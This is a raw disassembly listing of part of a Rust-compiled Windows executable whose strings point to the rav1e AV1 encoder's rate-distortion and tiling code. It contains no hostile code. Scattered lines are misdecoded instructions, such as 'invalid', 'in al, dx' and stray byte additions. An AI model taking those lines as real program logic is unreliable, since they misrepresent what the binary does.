lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r14
mov qword [rbx + 0x190], rdx
mov r8, qword [rbx + 0x138]
call fcn.140085969
cmp rdi, 1
adc rdi, 0
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
mov rcx, rax
mov r8, rdi
lea r9, [rbx + 0x7c0]
call fcn.1400e263e
mov rdi, qword [rbx + 0xf0]
cmp rdi, r15
jne 0x140102aa6
mov qword [rbx + 0x108], r14
lea rax, [r15 + r15]
mov qword [rbx + 0x110], rax
mov rdx, r15
shl rdx, 5
push 8
pop r14
mov rcx, r14
call fcn.1400710da
test rax, rax
mov r12, qword [rbx + 0x118]
je 0x1401040d2
mov rsi, rax
shl r15, 4
mov rcx, rax
mov rdi, r13
mov rdx, r13
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
mov rdx, r14
call fcn.140001b50
mov rdi, qword [rbx + 0xf0]
mov r14, qword [rbx + 0x108]
jmp 0x140102ab7
mov qword [rbx + 0x110], r15
mov r12, qword [rbx + 0x118]
mov rsi, r13
mov rax, qword [rbx + 0x190]
sub rax, r14
mov rcx, rdi
shl rcx, 4
mov qword [rsi + rcx], rax
mov qword [rsi + rcx + 8], r14
inc rdi
mov qword [rbx + 0x180], rsi
mov rcx, rsi
mov rdx, rdi
mov r8, r12
call fcn.14003e0ab
cmp rax, 1
mov qword [rbx + 0xf0], rdi
jne 0x140102d61
mov r8, rdx
mov qword [rbx + 0x160], rsi
mov r15, qword [rbx + 0x110]
mov qword [rbx + 0x168], r15
mov rcx, rsi
mov rdx, rdi
mov qword [rbx + 0x108], r8
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov r14, qword [rax]
mov rdi, qword [rax + 8]
mov rax, qword [rbx + 0x108]
lea r12, [rax + 1]
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
mov rcx, rsi
mov rdx, qword [rbx + 0xf0]
mov r8, r12
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov qword [rbx + 0x188], rcx
add rdx, rcx
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov r8, qword [rbx + 0x138]
mov r9, qword [rbx + 0x118]
call fcn.140085969
mov r13, rax
mov r15, rdx
mov qword [rbx + 0x170], r12
mov qword [rbx + 0x148], rdi
lea rsi, [rax + r14]
mov r12, rax
add r12, rdx
sub r15, r14
cmp r15, r14
mov qword [rbx + 0x130], r14
jae 0x140102c56
mov rdi, qword [rbx + 0x100]
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r15, rdi
cmp rsi, r13
jbe 0x140102cc2
cmp r15, rdi
jbe 0x140102cc2
mov dl, byte [r15 - 1]
mov r8b, byte [rsi - 1]
mov qword [rbx + 0x258], rsi
mov qword [rbx + 0x260], r15
mov qword [rbx + 0x268], rdi
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
movzx eax, al
sub rsi, rax
mov ecx, eax
xor cl, 1
movzx ecx, cl
sub r15, rcx
test al, al
mov rax, r15
cmovne rax, rsi
mov al, byte [rax]
mov byte [r12 - 1], al
dec r12
mov rdi, qword [rbx + 0x100]
jmp 0x140102bee
mov rdi, qword [rbx + 0x100]
mov rcx, rdi
mov rdx, r13
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea r15, [rdi + r14]
cmp rdi, r15
jae 0x140102cc5
cmp rsi, r12
jae 0x140102cc5
mov dl, byte [rsi]
mov r8b, byte [rdi]
mov qword [rbx + 0x258], r13
mov qword [rbx + 0x260], r15
mov qword [rbx + 0x268], rdi
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
mov rcx, rsi
test al, al
jne 0x140102ca9
mov rcx, rdi
mov cl, byte [rcx]
mov byte [r13], cl
inc r13
movzx ecx, al
add rsi, rcx
xor al, 1
movzx eax, al
add rdi, rax
jmp 0x140102c6f
mov r13, rsi
sub r15, rdi
mov rcx, r13
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rbx + 0xf0]
mov rcx, qword [rbx + 0x170]
cmp rdi, rcx
mov rsi, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x110]
mov rax, qword [rbx + 0x130]
jbe 0x140103dd4
shl rcx, 4
mov r8, qword [rbx + 0x188]
add r8, rax
mov qword [rsi + rcx], r8
mov rax, qword [rbx + 0x148]
mov qword [rsi + rcx + 8], rax
mov r8, qword [rbx + 0x108]
cmp rdi, r8
jbe 0x140103e1b
mov rax, r8
shl rax, 4
lea rcx, [rsi + rax]
lea rdx, [rsi + rax]
add rdx, 0x10
not r8
add r8, rdi
shl r8, 4
call sub.VCRUNTIME140.dll_memmove
dec rdi
mov r12, qword [rbx + 0x118]
jmp 0x140102adb
mov r15, qword [rbx + 0x110]
mov r14, qword [rbx + 0x190]
mov rdi, qword [rbx + 0x100]
jmp 0x140102870
mov rdi, r12
jmp 0x1401028a5
mov rcx, rsi
mov rdx, r15
call fcn.14003cc4d
mov rcx, rdi
mov rdx, qword [rbx + 0x238]
call fcn.140022c4e
mov r14b, byte [rbx + 0x218]
mov r13d, dword [rbx + 0x1a8]
mov rax, qword [rbx + 0x210]
cmp rax, r13
cmovb r13, rax
xor r12d, r12d
lea rdi, [rbx + 0x7c0]
xor r14b, 1
xor esi, esi
cmp rsi, r13
je 0x140102eeb
mov r15b, byte [rbx + rsi + 0x1ac]
xor eax, eax
cmp rax, 2
je 0x140102def
and dword [rbx + rax*4 + 0x340], 0
inc rax
jmp 0x140102ddc
and qword [rbx + 0x7c0], 0
mov rcx, rdi
mov edx, r15d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e14ac
test r15b, r15b
sete al
or al, r14b
jne 0x140102e25
mov rcx, rdi
xor edx, edx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e14ac
inc rsi
mov r8b, byte [rbx + 0xff]
mov r9, qword [rbx + 0x1c8]
mov rax, qword [rbx + 0x1d0]
mov cl, byte [rbx + 0xee]
mov edx, dword [rbx + 0x7c0]
and dword [rbx + 0xb6c], 0
mov r10, qword [rbx + 0x340]
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x50], r10
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x90], r12b
mov byte [rsp + 0x88], r12b
lea rax, [rbx + 0xb00]
mov qword [rsp + 0x80], rax
lea rax, [rbx + 0x7c4]
mov qword [rsp + 0x60], rax
lea rax, [rbx + 0x270]
mov qword [rsp + 0x48], rax
lea rax, [rbx + 0xa50]
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x38], cl
and qword [rsp + 0x78], 0
mov rax, qword [rbx + 0x178]
mov qword [rsp + 0x30], rax
mov rax, qword [rbx + 0x140]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x70], 1
mov word [rsp + 0x58], 0x800
mov ecx, r15d
mov rdx, qword [rbx + 0x128]
call fcn.140110b93
jmp 0x140102dc9
mov rax, qword [rbx + 0x128]
mov rax, qword [rax + 0x2b8]
cmp byte [rax + 0x46], 0
je 0x14010306d
mov cl, byte [rbx + 0xff]
call fcn.1400c502f
test al, al
je 0x14010306d
mov r15b, byte [rbx + 0x299]
mov al, byte [rbx + 0x29a]
add r15b, 0xf7
lea r9d, [rax - 9]
xor ecx, ecx
mov rdx, qword [rbx + 0x128]
mov r8, qword [rbx + 0x140]
cmp rcx, 2
je 0x140102f4e
and dword [rbx + rcx*4 + 0x340], 0
inc rcx
jmp 0x140102f3b
cmp r15b, 0xf8
push 1
pop rcx
push 7
pop r14
mov r12d, r14d
cmovb r12d, ecx
mov dword [rbx + 0x100], r9d
cmp r9b, 0xf8
cmovb r14d, ecx
mov byte [rbx + 0x718], al
lea rsi, [rbx + 0x7c0]
lea rax, [rbx + 0x270]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
lea rax, [rbx + 0xff]
mov qword [rsi + 0x10], rax
lea rax, [rbx + 0x1c8]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], r8
mov rax, qword [rbx + 0x178]
mov qword [rsi + 0x28], rax
lea rax, [rbx + 0xee]
mov qword [rsi + 0x30], rax
lea rax, [rbx + 0xa50]
mov qword [rsi + 0x38], rax
lea rax, [rbx + 0x340]
mov qword [rsi + 0x40], rax
and dword [rbx + 0xb6c], 0
mov word [rbx + 0x5d0], 0x800
lea rax, [rbx + 0x5d0]
mov qword [rsi + 0x48], rax
mov al, byte [rbx + 0x294]
mov r8b, byte [rbx + 0x295]
lea rcx, [rbx + 0x718]
mov qword [rsi + 0x50], rcx
lea rcx, [rbx + 0xb00]
mov qword [rsi + 0x58], rcx
xor r13d, r13d
xor edi, edi
cmp dil, r12b
jae 0x140103036
lea eax, [rdi - 3]
cmp r15b, 0xf8
movzx edx, al
cmovb edx, r13d
mov rcx, rsi
call fcn.140110e78
mov r8d, edx
inc dil
jmp 0x140103013
xor edi, edi
lea rsi, [rbx + 0x7c0]
xor r15d, r15d
mov r12d, dword [rbx + 0x100]
cmp r15b, r14b
jae 0x14010306d
lea ecx, [r15 - 3]
cmp r12b, 0xf8
movzx r8d, cl
cmovb r8d, edi
mov rcx, rsi
mov edx, eax
call fcn.140110e78
inc r15b
jmp 0x140103049
movaps xmm0, xmmword [rbx + 0x270]
movapd xmm1, xmmword [rbx + 0x280]
movaps xmm2, xmmword [rbx + 0x290]
movaps xmmword [rbx + 0x200], xmm2
movapd xmmword [rbx + 0x1f0], xmm1
movaps xmmword [rbx + 0x1e0], xmm0
mov rdi, qword [rbp + 0x13f0]
mov dl, byte [rbx + 0x218]
mov al, byte [rbx + 0x209]
mov byte [rbx + 0x100], al
cmp al, 0xe
setb al
test dl, al
je 0x14010394b
mov sil, byte [rbp + 0x13e0]
mov ecx, esi
call fcn.1400cdf25
test al, al
je 0x140103952
mov rax, qword [rbx + 0x178]
mov r14, qword [rax + 0x1278]
mov r15b, byte [rbx + 0x208]
mov ecx, esi
call fcn.1400c2707
mov rdi, rax
mov ecx, esi
call fcn.1400c2719
mov r8, qword [rbp + 0x13e8]
lea rcx, [rdi + r8]
mov rdx, qword [r14 + 0x18]
mov rsi, rdx
sub rsi, r8
cmp rcx, rdx
cmovb rsi, rdi
mov rdi, rax
add rsi, r8
xor eax, eax
lea r12, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
cmp rax, rdi
je 0x140103182
lea r13, [rax + 1]
mov rcx, rax
add rcx, qword [rbp + 0x13f0]
mov rax, r13
cmp rcx, qword [r14 + 0x20]
jae 0x140103126
imul rcx, qword [r14 + 0x28]
imul r8, rcx, 0x1e
add r8, qword [r14]
mov r9, qword [r14 + 0x18]
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp + 0x13e8]
mov rdx, rsi
call fcn.140091bea
imul rcx, rdx, 0x1e
test rcx, rcx
je 0x14010317d
mov byte [rax + 0x18], r15b
add rax, 0x1e
add rcx, 0xffffffffffffffe2
jmp 0x14010316a
mov rax, r13
jmp 0x140103126
mov r13, qword [rbx + 0x230]
mov r9d, dword [r13 + 0x230]
lea r12, [rbx + 0x340]
mov rcx, r12
mov r15, qword [rbx + 0x178]
mov rdx, r15
mov r14, qword [rbp + 0x13e8]
mov r8, r14
call fcn.140074cc5
movabs rax, 0xfff7800000000000
lea r9, [rbx + 0x2b8]
mov qword [r9 + 8], rax
and qword [r9], 0
mov r8b, byte [rbx + 0x204]
mov dl, byte [rbx + 0x209]
mov r10b, byte [rbx + 0x20c]
mov r11b, byte [rbx + 0x20d]
mov al, 1
mov byte [rsp + 0x88], al
mov ecx, dword [rbx + 0x1c4]
mov byte [rsp + 0x80], cl
mov byte [rsp + 0x78], al
xor eax, eax
mov byte [rsp + 0x68], al
mov byte [rbx + 0x190], r11b
mov byte [rsp + 0x60], r11b
mov byte [rbx + 0x138], r10b
add dword [rax], eax
add byte [rax + rcx*4 + 0x54], al
and al, 0x58
mov cl, byte [rbp + 0x13e0]
mov byte [rsp + 0x50], cl
mov rdi, qword [rbp + 0x13f0]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r14
mov byte [rsp + 0x38], al
mov byte [rbx + 0x180], r8b
mov byte [rsp + 0x30], r8b
mov byte [rsp + 0x28], dl
mov byte [rbx + 0x100], dl
mov byte [rsp + 0x20], dl
mov dword [rsp + 0x70], 0x10001
mov rsi, qword [rbx + 0x128]
mov rcx, rsi
mov r14, qword [rbx + 0x140]
mov rdx, r14
mov r8, r15
call fcn.14010b31d
mov rcx, r15
mov rdx, r12
call fcn.140074eee
cmp dword [r13 + 0x230], 3
je 0x14010394b
mov r12, qword [rbp + 0x13e8]
mov qword [rbx + 0x270], r12
mov qword [rbx + 0x278], rdi
mov rax, qword [r14 + 0x70]
mov r15, r14
mov r14, qword [rax + 0x90]
add byte [rbx + rcx*4 - 0x80], cl
cwde
add byte [rax], al
add byte [rcx + rcx*4 - 0x7d], cl
lock add byte [rax], al
add byte [rdx + 0x13e08d], cl
add byte [rcx + rcx*4 - 0xe], cl
call fcn.140086baf
mov cl, byte [r15 + 0x2d0]
add cl, 0x3e
mov rdx, rdi
mov rdi, qword [r15 + 0x2c0]
mov r13, qword [r15 + 0x2c8]
shl rdi, cl
shl r13, cl
mov byte [rbx + 0xee], al
mov r15, qword [rsi + 0x240]
add r15, r14
mov ecx, r14d
shr r15, cl
add rdi, r12
add r13, rdx
mov r12, qword [rsi + 0x248]
mov rsi, qword [rbx + 0xf0]
add r12, rsi
mov ecx, esi
shr r12, cl
mov ecx, eax
call fcn.1400ce1b3
shl rdi, 2
mov ecx, r14d
shr rdi, cl
shl r13, 2
mov ecx, esi
shr r13, cl
mov qword [rsp + 0x20], r13
mov rcx, r15
mov rdx, r12
mov r8d, eax
mov r9, rdi
call fcn.140073837
mov qword [rbx + 0x220], rax
mov qword [rbx + 0x1c8], rdx
test rax, rax
je 0x140103944
test rdx, rdx
je 0x140103944
mov rsi, qword [rbx + 0x128]
movups xmm0, xmmword [rsi + 0x260]
movups xmmword [rsp + 0x30], xmm0
mov al, byte [rbx + 0x138]
mov byte [rsp + 0x28], al
mov al, byte [rbp + 0x13e0]
mov byte [rsp + 0x20], al
lea rcx, [rbx + 0xb00]
mov r14, qword [rbx + 0x140]
mov rdx, r14
mov r8, qword [rbp + 0x13e8]
mov rdi, qword [rbp + 0x13f0]
mov r9, rdi
call fcn.14010a8f5
mov qword [rbx + 0x110], rax
mov qword [rbx + 0x130], rdx
and qword [rbx + 0x1a8], 0
lea rax, [r14 + 0x120]
mov qword [rbx + 0x170], rax
mov rax, qword [rsi + 0x2b0]
mov qword [rbx + 0x188], rax
lea rax, [r14 + 0x78]
mov qword [rbx + 0x148], rax
push 1
add dword [rcx + 0x31], ebx
ror byte [rdi], 0x57
div byte [rcx]
invalid
cmp rcx, 2
ja 0x1401036c6
mov qword [rbx + 0xf0], rdx
mov qword [rbx + 0x108], rax
imul rdi, rcx, 0x30
inc rcx
mov qword [rbx + 0x118], rcx
mov r11, r14
mov r13, qword [rbx + 0x170]
lea r14, [rdi + r13]
mov r12, qword [r13 + rdi]
mov cl, byte [r11 + 0x2d0]
mov r8, qword [r11 + 0x2c0]
mov r9, qword [r11 + 0x2c8]
shl r8, cl
shl r9, cl
mov al, byte [r12 + 0x20]
mov dl, byte [r12 + 0x28]
mov r10, qword [r11 + 0x2f8]
mov r11, qword [r11 + 0x300]
mov ecx, eax
shr r8, cl
mov ecx, edx
shr r9, cl
mov ecx, eax
shr r10, cl
mov ecx, edx
shr r11, cl
mov qword [rbx + 0x2e8], r8
mov qword [rbx + 0x2f0], r9
mov qword [rbx + 0x2f8], r10
mov qword [rbx + 0x300], r11
mov rsi, qword [rbx + 0x270]
mov r15, qword [rbx + 0x278]
mov r8, qword [r12 + 0x20]
mov r9, qword [r12 + 0x28]
mov rcx, rsi
mov rdx, r15
call fcn.14007df20
mov rcx, qword [r13 + rdi + 8]
movups xmm0, xmmword [r13 + rdi + 0x20]
lea r8, [rbx + 0x5e0]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [r13 + rdi + 0x10]
movups xmmword [r8], xmm0
mov qword [rbx + 0x5d8], rcx
mov qword [rbx + 0x5d0], r12
mov cl, byte [rbx + 0xee]
mov r9, qword [rbx + 0x188]
mov r8, qword [r9 + 0x1f0]
mov r9b, byte [r9 + 0x264]
mov byte [rsp + 0x68], r9b
mov qword [rsp + 0x58], r8
mov byte [rsp + 0x50], cl
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
mov al, byte [rbp + 0x13e0]
mov byte [rsp + 0x38], al
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x70], 2
mov byte [rsp + 0x60], 0xd
lea r15, [rbx + 0x718]
mov rcx, r15
lea rdx, [rbx + 0x7c0]
lea r13, [rbx + 0x5d0]
mov r8, r13
mov r9, rsi
call fcn.14007df38
add rdi, qword [rbx + 0x148]
add byte [rcx + rcx*4 - 0x4d], cl
rol byte [0xcd583581], 1
xor dword [rax + 2], 0
add byte [rax - 0x77], cl
sbb eax, 5
add byte [rax], al
lea rax, [rbx + 0x2e8]
mov qword [rbx + 0x5e0], rax
lea rax, [rbx + 0xee]
mov qword [rbx + 0x5e8], rax
add byte [rax], al
mov rax, qword [rbx + 0x128]
mov qword [rbx + 0x5f0], rax
mov rax, qword [rbx + 0x110]
mov qword [rbx + 0x5f8], rax
mov rax, qword [rbx + 0x130]
mov qword [rbx + 0x600], rax
mov qword [rbx + 0x608], r15
mov qword [rbx + 0x610], rdi
lea rax, [rbx + 0x220]
mov qword [rbx + 0x618], rax
lea rax, [rbx + 0x1c8]
mov qword [rbx + 0x620], rax
xor r12d, r12d
mov rcx, r13
xor edx, edx
call fcn.14007eccb
and word [rbx + 0x124], 0
mov r15, rax
mov dword [rbx + 0x120], 0x100001
mov r13w, 2
lea rcx, [rbx + 0x120]
call case.0x1400617de.64
test ax, ax
je 0x140103684
mov esi, edx
lea rcx, [rbx + 0x5d0]
call fcn.14007eccb
mov r14, rax
mov edi, esi
neg edi
lea rcx, [rbx + 0x5d0]
mov edx, edi
call fcn.14007eccb
lea ecx, [r13 + 2]
cmp r14, r15
cmovb r15, r14
cmovae ecx, r13d
cmovb r12d, esi
lea r13d, [rcx + 2]
cmp rax, r15
cmovb r15, rax
cmovae r13d, ecx
cmovb r12d, edi
cmp r13w, si
jge 0x140103624
mov rdx, qword [rbx + 0xf0]
cmp rdx, 4
mov rdi, qword [rbp + 0x13f0]
je 0x1401040f8
mov word [rbx + rdx + 0x1a8], r12w
add rdx, 2
mov rax, qword [rbx + 0x108]
inc rax
mov r14, qword [rbx + 0x140]
mov rcx, qword [rbx + 0x118]
jmp 0x14010340c
mov dword [rbx + 0x1ac], eax
mov rcx, qword [rbx + 0x1a8]
mov rdx, rcx
shr rdx, 0x20
je 0x140103f41
mov eax, ecx
shr eax, 0x10
test cx, cx
je 0x1401036fe
cmp edx, 1
jne 0x140103712
push 1
pop rcx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
cmp edx, 1
je 0x140103f62
test ax, ax
je 0x14010394b
xor ecx, ecx
mov edx, eax
call fcn.1400e139f
mov edx, eax
cmp dl, 3
mov r12, qword [rbx + 0x128]
je 0x14010394b
mov r13, rdi
lea rcx, [rbx + 0xb00]
movabs rax, 0xfff7800000000000
mov qword [rcx + 8], rax
and qword [rcx], 0
mov edi, edx
call fcn.1400d9e5a
mov dword [rbx + 0xf0], eax
mov rsi, r14
mov r14b, byte [rbx + 0x20e]
mov rax, qword [rbx + 0x230]
mov cl, byte [rax + 0x26d]
mov rdx, qword [rsi + 0x1b0]
mov byte [rsp + 0x38], r14b
mov qword [rsp + 0x30], r13
mov rax, qword [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
mov r15b, byte [rbp + 0x13e0]
mov byte [rsp + 0x20], r15b
mov r15, qword [rbx + 0x178]
mov r8, r15
lea r9, [rbx + 0xb00]
call fcn.14010f437
movzx eax, word [rbx + 0x206]
mov rcx, qword [rbx + 0x1f8]
mov edx, dword [rbx + 0x1c4]
mov byte [rsp + 0xa0], dl
mov dl, byte [rbx + 0x190]
mov byte [rsp + 0x80], dl
mov dl, byte [rbx + 0x138]
mov byte [rsp + 0x78], dl
mov dword [rbx + 0x108], edi
mov dword [rsp + 0x70], edi
mov byte [rsp + 0x68], r14b
mov qword [rsp + 0x60], r13
mov rdx, qword [rbp + 0x13e8]
mov qword [rsp + 0x58], rdx
mov dl, byte [rbp + 0x13e0]
mov byte [rsp + 0x50], dl
mov qword [rsp + 0x48], rcx
mov word [rsp + 0x40], ax
xor eax, eax
mov byte [rsp + 0x38], al
mov al, byte [rbx + 0x180]
mov byte [rsp + 0x30], al
mov al, byte [rbx + 0x100]
mov byte [rsp + 0x20], al
mov byte [rsp + 0xa8], 1
and qword [rsp + 0x98], 0
mov qword [rsp + 0x90], 4
and qword [rsp + 0x88], 0
mov byte [rsp + 0x28], 0xd
mov rcx, r12
mov rdx, rsi
mov r8, r15
lea rdi, [rbx + 0xb00]
mov r9, rdi
call fcn.14010f5f9
mov r14d, eax
mov rcx, rdi
call fcn.1400d9e5a
mov edi, eax
sub edi, dword [rbx + 0xf0]
xor eax, eax
mov byte [rsp + 0x30], al
mov qword [rsp + 0x28], r13
mov rax, qword [rbp + 0x13e8]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, rsi
mov r8b, byte [rbp + 0x13e0]
mov r9b, 1
call fcn.14010c3bc
cvtsi2sd xmm1, rdi
mulsd xmm1, qword [0x1401cdff8]
movq xmm2, rax
punpckldq xmm2, xmmword [0x1401cdab0]
subpd xmm2, xmmword [0x1401cdac0]
movsd xmm0, qword [r12 + 0x290]
haddpd xmm2, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_fma
movsd xmm1, qword [rbx + 0x1f0]
ucomisd xmm1, xmm0
jbe 0x140103931
mov ecx, dword [rbx + 0x108]
mov eax, ecx
shr eax, 8
movsd qword [rbx + 0x1f0], xmm0
mov byte [rbx + 0x20a], 0xd
mov byte [rbx + 0x205], 0
and r14b, 1
mov byte [rbx + 0x20f], r14b
mov byte [rbx + 0x200], cl
mov word [rbx + 0x201], ax
shr eax, 0x10
mov byte [rbx + 0x203], al
lea rdx, [rbx + 0x340]
mov rcx, qword [rbx + 0x178]
call fcn.140074eee
mov rdi, qword [rbp + 0x13f0]
mov sil, byte [rbp + 0x13e0]
mov rax, qword [rbx + 0x178]
mov r12, qword [rax + 0x1278]
mov ecx, esi
call fcn.1400c2707
mov r15, rax
mov ecx, esi
call fcn.1400c2719
mov rdx, qword [rbp + 0x13e8]
lea r8, [r15 + rdx]
mov rcx, qword [r12 + 0x18]
mov r14, rcx
sub r14, rdx
mov qword [rbx + 0x108], r8
cmp r8, rcx
mov qword [rbx + 0xf0], r15
cmovb r14, r15
mov rsi, rax
add r14, rdx
xor eax, eax
lea r15, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
cmp rax, rsi
je 0x140103a0c
lea r13, [rax + 1]
mov rcx, rax
add rcx, rdi
mov rax, r13
cmp rcx, qword [r12 + 0x20]
jae 0x1401039ab
imul rcx, qword [r12 + 0x28]
imul r8, rcx, 0x1e
add r8, qword [r12]
mov r9, qword [r12 + 0x18]
mov qword [rsp + 0x20], r15
mov rcx, qword [rbp + 0x13e8]
call 0x18c1039f7
mov edx, esi
call fcn.140091bea
imul rcx, rdx, 0x1e
mov dl, byte [rbx + 0x100]
test rcx, rcx
je 0x140103a07
mov byte [rax + 0x19], dl
add rax, 0x1e
add rcx, 0xffffffffffffffe2
jmp 0x1401039f5
mov rax, r13
jmp 0x1401039ab
mov rax, qword [rbx + 0x178]
mov r12, qword [rax + 0x1278]
movzx r13d, word [rbx + 0x206]
mov rax, qword [r12 + 0x18]
mov r14, rax
mov rcx, qword [rbp + 0x13e8]
sub r14, rcx
cmp qword [rbx + 0x108], rax
cmovb r14, qword [rbx + 0xf0]
add r14, rcx
xor eax, eax
cmp rax, rsi
je 0x140103aa9
lea rdi, [rax + 1]
mov rcx, rax
add rcx, qword [rbp + 0x13f0]
mov rax, rdi
cmp rcx, qword [r12 + 0x20]
jae 0x140103a48
imul rcx, qword [r12 + 0x28]
imul r8, rcx, 0x1e
add r8, qword [r12]
mov r9, qword [r12 + 0x18]
mov qword [rsp + 0x20], r15
mov rcx, qword [rbp + 0x13e8]
mov rdx, r14
call fcn.140091bea
dec dword [rax + 0x6b]
invalid
invalid
test rcx, rcx
je 0x140103aa4
mov word [rax + 0xc], r13w
add rax, 0x1e
add rcx, 0xffffffffffffffe2
jmp 0x140103a90
in al, dx
mov rax, rdi
jmp 0x140103a48
mov rax, qword [rbx + 0x178]
mov r12, qword [rax + 0x1278]
mov r13, qword [rbx + 0x1f8]
mov rax, qword [r12 + 0x18]
mov r14, rax
mov rcx, qword [rbp + 0x13e8]
add byte [rax], al
sub r14, rcx
cmp qword [rbx + 0x108], rax
cmovb r14, qword [rbx + 0xf0]
add r14, rcx
xor eax, eax
cmp rax, rsi
je 0x140103b42
lea rdi, [rax + 1]
mov rcx, rax
add rcx, qword [rbp + 0x13f0]
mov rax, rdi
cmp rcx, qword [r12 + 0x20]
jae 0x140103ae4
imul rcx, qword [r12 + 0x28]
imul r8, rcx, 0x1e
add r8, qword [r12]
mov r9, qword [r12 + 0x18]
mov qword [rsp + 0x20], r15
mov rcx, qword [rbp + 0x13e8]
mov rdx, r14
call fcn.140091bea
imul rcx, rdx, 0x1e
xor edx, edx
cmp rcx, rdx
je 0x140103b3d
mov qword [rax + rdx], r13
add rdx, 0x1e
jmp 0x140103b2e
mov rax, rdi
jmp 0x140103ae4
movsd xmm0, qword [rbx + 0x1f0]
xorpd xmm1, xmm1
ucomisd xmm0, xmm1
jb 0x14010412a
mov al, byte [rbx + 0x20a]
movups xmm1, xmmword [rbx + 0x1f8]
mov ecx, dword [rbx + 0x20c]
movzx edx, word [rbx + 0x208]
mov r8, qword [rbx + 0x2b0]
movsd qword [r8 + 0x10], xmm0
mov r9, qword [rbp + 0x13e8]
mov qword [r8], r9
mov r9, qword [rbp + 0x13f0]
invalid
lock adc eax, dword [rax]
add byte [rbp - 0x77], cl
or byte [rdx + rcx*4 - 0x73], al
loopne 0x140103bac
add byte [rax], al
mov byte [r8 + 0x2b], r9b
mov byte [r8 + 0x2a], al
movups xmmword [r8 + 0x18], xmm1
mov dword [r8 + 0x2c], ecx
mov word [r8 + 0x28], dx
movaps xmm6, xmmword [rbp + 0x1360]
lea rsp, [rbp + 0x1378]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rdx, r14
jmp 0x140103bdf
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rax
mov r8, rsi
call fcn.1401c6eb0
jmp 0x1401041da
mov byte [rbx + 0xed], 1
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, r14
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
push 0xd
pop rdx
mov rcx, r13
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rax
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, qword [rbx + 0x148]
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
call fcn.1401c6eb0
jmp 0x1401041da
